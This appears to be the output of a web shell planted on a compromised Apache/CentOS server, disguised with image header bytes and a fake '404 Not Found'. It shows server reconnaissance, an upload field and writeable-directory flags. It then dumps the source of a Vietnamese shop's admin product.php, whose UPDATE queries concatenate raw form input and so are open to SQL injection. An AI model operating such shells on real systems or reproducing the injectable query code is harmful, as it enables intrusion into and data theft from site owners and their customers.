����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/product/product.php
<?php
global $DB, $print, $CORE, $func;
use Verot\Upload\Upload;
function showListCategories($categories, $parent_id = 0, $char = '',$arr_category_check)
{
    // BƯỚC 2.1: LẤY DANH SÁCH CATE CON
    $cate_child = array();
    foreach ($categories as $key => $item)
    {
        // Nếu là chuyên mục con thì hiển thị
        if ($item['category_parentid'] == $parent_id)
        {
            $cate_child[] = $item;
            unset($categories[$key]);
        }
    }

    // BƯỚC 2.2: HIỂN THỊ DANH SÁCH CHUYÊN MỤC CON NẾU CÓ
    if ($cate_child)
    {
        echo '<ul class="list-group" id="tree" style="font-size: 11px;">';
        foreach ($cate_child as $key => $item)
        {
            $checked= '';
            if(in_array($item['category_id'],$arr_category_check)){
                $checked = 'checked';
            }
            // Hiển thị tiêu đề chuyên mục
            echo '<li class="list-group-item">
                <input type="checkbox" name="category_id[]" value="'.$item['category_id'].'" '.$checked.' /> '.$item['category_name'];

            // Tiếp tục đệ quy để tìm chuyên mục con của chuyên mục đang lặp
            showListCategories($categories, $item['category_id'], $char.' &nbsp; &nbsp; ',$arr_category_check);
            echo '</li>';
        }
        echo '</ul>';
    }
}

$query = $DB->query("SELECT * FROM tb_product_categories WHERE 1 ORDER BY `category_pos` ASC");
$arr_categories = array();
while($row = $DB->fetch_row($query))
{
    $arr_categories[] = $row;
}

$id = (isset($CORE->input['id']) && $CORE->input['id']>0) ? intval($CORE->input['id']) : 0;
$arr_category_check = array();
if($id==0){
    $row_check = $DB->get_colum_tb('tb_product');
    $row_check['price'] = 0;
    $row_check['old_price'] = 0;
    $row_check['quantity'] = 0;
    $row_check['pos'] = 0;
}else{
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_product WHERE id='$id'"));
    $q_category = $DB->query("SELECT * FROM tb_product_category WHERE product_id='$id'");
    while ($r_category = $DB->fetch_row($q_category)){
        $arr_category_check[] = $r_category['category_id'];
    }
}

if(isset($CORE->input['submitbt'])){
    $f = $CORE->input['f'];

    $tags = str_replace(array('[{','}]','},{'),array('','',','),$CORE->input['tags']);
    $arr_tags = explode(',',$tags);

    $txt_tags = '';
    if(!empty($arr_tags)) {
        foreach ($arr_tags as $val) {
            $arr_val  = explode(':',$val);
            $arr_tags2[] = str_replace(array('"','&quot;'),array('',''),$arr_val[1]);
        }
    }
    $txt_tags = implode(',',$arr_tags2);
    $status = 1;
    if(isset($f['status'])){
        $status = 0;
    }
    $noibat = 0;
    if(isset($f['noibat'])){
        $noibat = 1;
    }
    $ftitle = $func->format_string(trim($f['title']));
    if(intval($f['id'])==0){
        $arr_insert = array(
            'title'=>trim($f['title']),
            'ftitle'=>$ftitle,
            'etitle'=>trim($f['etitle']),
            'intro'=>trim($f['intro']),
            'eintro'=>trim($f['eintro']),
            'body'=>trim($f['body']),
            'ebody'=>trim($f['ebody']),
            'specification'=>trim($f['specification']),
            'especification'=>trim($f['especification']),
            'price'=>floatval($f['price']),
            'old_price'=>floatval($f['old_price']),
            'discount_amount'=>floatval($f['discount_amount']),
            'discount_start_date'=>!empty($f['discount_start_date']) ? date('Y-m-d H:i:s', strtotime($f['discount_start_date'])) : NULL,
            'discount_end_date'=>!empty($f['discount_end_date']) ? date('Y-m-d H:i:s', strtotime($f['discount_end_date'])) : NULL,
            'quantity'=>intval($f['quantity']),
            'tags'=>$txt_tags,
            'time'=>time(),
            'pos'=>$f['pos'],
            'status'=>$status,
            'noibat'=>$noibat,
            'store_id'=>intval($f['store_id'])
        );
        $id = $DB->do_insert('tb_product',$arr_insert);
        //insert category
        if(isset($CORE->input['category_id']) && is_array($CORE->input['category_id']) && !empty($CORE->input['category_id'])){
            $category_id = $CORE->input['category_id'];
            foreach ($category_id as $val){
                $arr_insert2 = array('category_id'=>$val,'product_id'=>intval($id));
                $DB->do_insert('tb_product_category',$arr_insert2);
            }
        }

        // Insert shipping methods for new product
        if(isset($CORE->input['shipping_methods']) && is_array($CORE->input['shipping_methods']) && !empty($CORE->input['shipping_methods'])){
            $shipping_methods = $CORE->input['shipping_methods'];
            foreach ($shipping_methods as $shipping_id){
                $arr_insert_shipping = array('shipping_method_id'=>intval($shipping_id),'product_id'=>intval($id));
                $DB->do_insert('tb_product_shipping',$arr_insert_shipping);
            }
        }

    }else{
        $id = $f['id'];

        $DB->query("UPDATE tb_product SET 
            title='".trim($f['title'])."',
            ftitle='".trim($ftitle)."',
            etitle='".trim($f['etitle'])."',
            intro='".trim($f['intro'])."',
            eintro='".trim($f['eintro'])."',
            body='".trim($f['body'])."',
            ebody='".trim($f['ebody'])."',
            specification='".trim($f['specification'])."',
            especification='".trim($f['especification'])."',
            price='".floatval($f['price'])."',
            old_price='".floatval($f['old_price'])."',
            discount_amount='".floatval($f['discount_amount'])."',
            discount_start_date=".(empty($f['discount_start_date']) ? "NULL" : "'".date('Y-m-d H:i:s', strtotime($f['discount_start_date']))."'").",
            discount_end_date=".(empty($f['discount_end_date']) ? "NULL" : "'".date('Y-m-d H:i:s', strtotime($f['discount_end_date']))."'").",
            quantity='".intval($f['quantity'])."',
            tags='".$txt_tags."',
            `pos`='".$f['pos']."',
            status='$status',
            noibat='$noibat',
            store_id='".intval($f['store_id'])."'
            WHERE id='".$id."' ");
        //delete old img

        if($_FILES['image_field'] && $_FILES['image_field']['name']!=''){
            $row_check = $DB->fetch_row($DB->query("SELECT path_img FROM tb_product WHERE id='$id' "));
            if($row_check && isset($row_check['path_img']) && $row_check['path_img']!='' && file_exists($row_check['path_img'])){
                unlink($row_check['path_img']);
                $DB->query("UPDATE tb_product SET path_img='',img='' WHERE id='$id' ");
            }
        }
        //delete category
        $DB->query("DELETE FROM tb_product_category WHERE product_id='".intval($id)."' ");
        //insert category
        if(isset($CORE->input['category_id']) && is_array($CORE->input['category_id']) && !empty($CORE->input['category_id'])){
            $category_id = $CORE->input['category_id'];
            foreach ($category_id as $val){
                $arr_insert2 = array('category_id'=>$val,'product_id'=>intval($id));
                $DB->do_insert('tb_product_category',$arr_insert2);
            }
        }

        // Handle shipping methods
        // Delete existing shipping methods for this product
        $DB->query("DELETE FROM tb_product_shipping WHERE product_id='".intval($id)."' ");
        // Insert selected shipping methods
        if(isset($CORE->input['shipping_methods']) && is_array($CORE->input['shipping_methods']) && !empty($CORE->input['shipping_methods'])){
            $shipping_methods = $CORE->input['shipping_methods'];
            foreach ($shipping_methods as $shipping_id){
                $arr_insert_shipping = array('shipping_method_id'=>intval($shipping_id),'product_id'=>intval($id));
                $DB->do_insert('tb_product_shipping',$arr_insert_shipping);
            }
        }
    }
    //upload image
    if($_FILES['image_field']){

        $url_img = '';
        $handle = new Upload($_FILES['image_field']);

        if ($handle->uploaded) {
            $ftitle = $func->format_string(trim($f['title']));
            $v_image_name = substr($ftitle,0,20).'_'.time().'_'.uniqid();
            $handle->allowed = array('image/*');
            $handle->file_new_name_body  = $v_image_name;
            $handle->file_max_size = '1000000';
            $handle->image_convert = 'png';

            $year_now = date('Y');
            $month_now = date('m');
            if (!is_dir("upload/products/" . $year_now . "/" . $month_now)) {
                mkdir("upload/products/" . $year_now . "/" . $month_now,0755,true);
            }
            $v_folder = $year_now . "/" . $month_now;
            $handle->process('upload/products/'.$v_folder.'/');

            if ($handle->processed) {
                $url_img = 'upload/products/'.$v_folder.'/'.$v_image_name.'.png';
                $handle->clean();
            } else {
                $url_img = '';
                $handle->clean();

            }
            $DB->query("UPDATE tb_product SET path_img='$url_img',img='".$v_image_name.".png' WHERE id='$id' ");

        }
    }

    // Process product attributes
    if (isset($CORE->input['attributes']) && is_array($CORE->input['attributes'])) {
        $attributes = $CORE->input['attributes'];
        // Get existing attribute mappings for this product to delete later if needed
        $existing_mappings = array();
        if ($id > 0) {
            $query_mappings = $DB->query("SELECT m.id, m.value_id FROM tb_product_attribute_mapping m WHERE m.product_id = '$id'");
            while ($row_mapping = $DB->fetch_row($query_mappings)) {
                $existing_mappings[] = $row_mapping['id'];
            }
        }

        foreach ($attributes as $attr_key => $attribute) {
            $attribute_id = 0;
            $is_new_attribute = strpos($attr_key, 'new_') === 0;

            // Handle attribute
            if ($is_new_attribute) {
                // Insert new attribute
                $attr_name = trim($attribute['name']);
                $attr_ename = isset($attribute['ename']) ? trim($attribute['ename']) : '';

                if (!empty($attr_name)) {
                    $arr_insert_attr = array(
                        'attribute_name' => $attr_name,
                        'attribute_ename' => $attr_ename,
                        'product_id' => $id,
                        'attribute_type_id' => 1
                    );
                    $attribute_id = $DB->do_insert('tb_product_attributes', $arr_insert_attr);
                }
            } else {
                // Update existing attribute
                $attribute_id = intval($attr_key);
                $attr_name = trim($attribute['name']);
                $attr_ename = isset($attribute['ename']) ? trim($attribute['ename']) : '';

                if (!empty($attr_name)) {
                    $DB->query("UPDATE tb_product_attributes SET 
                        attribute_name = '$attr_name',
                        attribute_ename = '$attr_ename',
                        attribute_type_id = 1
                        WHERE attribute_id = '$attribute_id'");
                }
            }

            // Process attribute values if attribute was saved successfully
            if ($attribute_id > 0 && isset($attribute['values']) && is_array($attribute['values'])) {
                foreach ($attribute['values'] as $val_key => $value) {
                    $value_id = 0;
                    $is_new_value = strpos($val_key, 'new_') === 0;

                    // Handle value
                    $value_name = trim($value['name']);
                    $value_ename = isset($value['ename']) ? trim($value['ename']) : '';
                    $additional_price = isset($value['price']) ? floatval($value['price']) : 0;
                    $quantity = isset($value['quantity']) ? intval($value['quantity']) : 0;
                    $is_video = isset($value['is_video']) ? 1 : 0;

                    if (!empty($value_name)) {
                        if ($is_new_value) {
                            // Insert new value
                            $arr_insert_val = array(
                                'attribute_id' => $attribute_id,
                                'value_name' => $value_name,
                                'value_ename' => $value_ename,
                                'additional_price' => $additional_price,
                                'quantity' => $quantity,
                                'is_video' => $is_video
                            );
                            $value_id = $DB->do_insert('tb_product_attribute_values', $arr_insert_val);
                        } else {
                            // Update existing value
                            $value_id = intval($val_key);
                            $DB->query("UPDATE tb_product_attribute_values SET 
                                value_name = '$value_name',
                                value_ename = '$value_ename',
                                additional_price = '$additional_price',
                                quantity = '$quantity',
                                is_video = '$is_video'
                                WHERE value_id = '$value_id'");
                        }

                        // Handle image/video upload for this value
                        $file_field_name = 'attribute_image_' . ($is_new_attribute ? $attr_key : $attribute_id) . '_' . ($is_new_value ? $val_key : $value_id);

                        if (isset($_FILES[$file_field_name]) && $_FILES[$file_field_name]['name'] != '') {
                            $handle = new Upload($_FILES[$file_field_name]);

                            if ($handle->uploaded) {
                                $v_image_name = 'attr_' . $attribute_id . '_val_' . $value_id . '_' . time() . '_' . uniqid();

                                // Set allowed file types based on is_video flag
                                if ($is_video) {
                                    $handle->allowed = array('video/*');
                                    $handle->file_new_name_body = $v_image_name;
                                    $handle->file_max_size = '10000000'; // 10MB for videos
                                } else {
                                    $handle->allowed = array('image/*');
                                    $handle->file_new_name_body = $v_image_name;
                                    $handle->file_max_size = '1000000'; // 1MB for images
                                    $handle->image_convert = 'png';
                                }

                                $year_now = date('Y');
                                $month_now = date('m');
                                if (!is_dir("upload/products/attributes/" . $year_now . "/" . $month_now)) {
                                    mkdir("upload/products/attributes/" . $year_now . "/" . $month_now, 0755, true);
                                }
                                $v_folder = $year_now . "/" . $month_now;
                                $handle->process('upload/products/attributes/' . $v_folder . '/');

                                if ($handle->processed) {
                                    $file_extension = $is_video ? '.' . $handle->file_src_name_ext : '.png';
                                    $url_img = 'upload/products/attributes/' . $v_folder . '/' . $v_image_name . $file_extension;

                                    // Update the value with the image/video path
                                    $DB->query("UPDATE tb_product_attribute_values SET 
                                        path_img = '$url_img',
                                        img = '" . $v_image_name . $file_extension . "'
                                        WHERE value_id = '$value_id'");

                                    $handle->clean();
                                } else {
                                    $handle->clean();
                                }
                            }
                        }

                        // Create mapping between product and attribute value
                        if ($value_id > 0 && $id > 0) {
                            // Check if mapping already exists
                            $check_mapping = $DB->query("SELECT id FROM tb_product_attribute_mapping 
                                WHERE product_id = '$id' AND value_id = '$value_id'");

                            if ($DB->get_num_rows() == 0) {
                                // Create new mapping
                                $arr_insert_mapping = array(
                                    'product_id' => $id,
                                    'value_id' => $value_id
                                );
                                $mapping_id = $DB->do_insert('tb_product_attribute_mapping', $arr_insert_mapping);

                                // Remove from existing mappings list if it was just added
                                if ($mapping_id > 0) {
                                    $key = array_search($mapping_id, $existing_mappings);
                                    if ($key !== false) {
                                        unset($existing_mappings[$key]);
                                    }
                                }
                            } else {
                                // Mapping exists, remove from list to prevent deletion
                                $row_mapping = $DB->fetch_row($check_mapping);
                                $key = array_search($row_mapping['id'], $existing_mappings);
                                if ($key !== false) {
                                    unset($existing_mappings[$key]);
                                }
                            }
                        }
                    }
                }
            }
        }

        // Delete mappings that no longer exist
        foreach ($existing_mappings as $mapping_id) {
            $DB->query("DELETE FROM tb_product_attribute_mapping WHERE id = '$mapping_id'");
        }

        // Clean up orphaned values and attributes
        $DB->query("DELETE FROM tb_product_attribute_values WHERE value_id NOT IN (SELECT value_id FROM tb_product_attribute_mapping)");
        $DB->query("DELETE FROM tb_product_attributes WHERE attribute_id NOT IN (SELECT attribute_id FROM tb_product_attribute_values)");
    }
    if($f['id']==0) {
        $print->refresh('?act=admin&code=product');
    }else {
        $print->refresh('?act=admin&code=product&type=product&id=' . $id);
    }
}
?>

ZeroDay Forums Mini